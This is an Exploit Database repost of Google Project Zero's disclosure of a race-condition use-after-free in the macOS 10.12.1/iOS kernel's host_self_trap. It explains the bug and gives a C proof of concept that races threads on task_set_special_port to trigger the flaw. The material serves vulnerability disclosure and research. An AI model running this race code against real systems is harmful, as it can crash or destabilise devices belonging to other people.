Apple macOS 10.12.1 / iOS Kernel – ‘host_self_trap’ Use-After-Free

• Exploit Database
• 120 阅读

• 作者： Google Security Research
  日期： 2017-01-26
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/41165/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104

  /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1034   The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to protect the task->itk_* ports.   The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free given the following interleaving of execution:   Thread A: host_self_trap: read current_task()->itk_host // Thread A reads itk_host   Thread B: task_set_special_port: *whichp = port; // Thread B replaces itk_host with eg MACH_PORT_NULL itk_unlock(task);   if (IP_VALID(old)) ipc_port_release_send(old); // Thread B drops last ref on itk_host   Thread A: host_self_trap: passes the port to ipc_port_copy_send // uses the free&apos;d port   host_self_trap should use one of the canonical accessors for the task&apos;s host port, not just directly read it.   PoC tested on MacOS 10.12.1 */   // ianbeer #if 0 iOS/MacOS kernel UaF due to lack of locking in host_self_trap   The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to protect the task->itk_* ports.   The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free given the following interleaving of execution:   Thread A: host_self_trap: read current_task()->itk_host // Thread A reads itk_host   Thread B: task_set_special_port: *whichp = port; // Thread B replaces itk_host with eg MACH_PORT_NULL itk_unlock(task);   if (IP_VALID(old)) ipc_port_release_send(old); // Thread B drops last ref on itk_host   Thread A: host_self_trap: passes the port to ipc_port_copy_send // uses the free&apos;d port   host_self_trap should use one of the canonical accessors for the task&apos;s host port, not just directly read it.   PoC tested on MacOS 10.12.1 #endif   // example boot-args // debug=0x144 -v pmuflags=1 kdp_match_name=en3 -zp -zc gzalloc_min=120 gzalloc_max=200   #include <stdio.h> #include <stdlib.h> #include <pthread.h>   #include <mach/mach.h> #include <mach/host_priv.h>   mach_port_t q() { mach_port_t p = MACH_PORT_NULL; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p); mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND); return p; }   int start = 0;   mach_port_t rq = MACH_PORT_NULL; void* racer(void* arg) { for(;;) { while(!start){;} usleep(10); mach_port_t p = mach_host_self(); mach_port_deallocate(mach_task_self(), p); start = 0; } }   int main() { pthread_t thread; pthread_create(&thread, NULL, racer, NULL); for (;;){ mach_port_t p = q();   kern_return_t err = task_set_special_port(mach_task_self(), TASK_HOST_PORT, p);   mach_port_deallocate(mach_task_self(), p); mach_port_destroy(mach_task_self(), p); // kernel holds the only ref   start = 1;   task_set_special_port(mach_host_self(), TASK_HOST_PORT, MACH_PORT_NULL); } return 0; }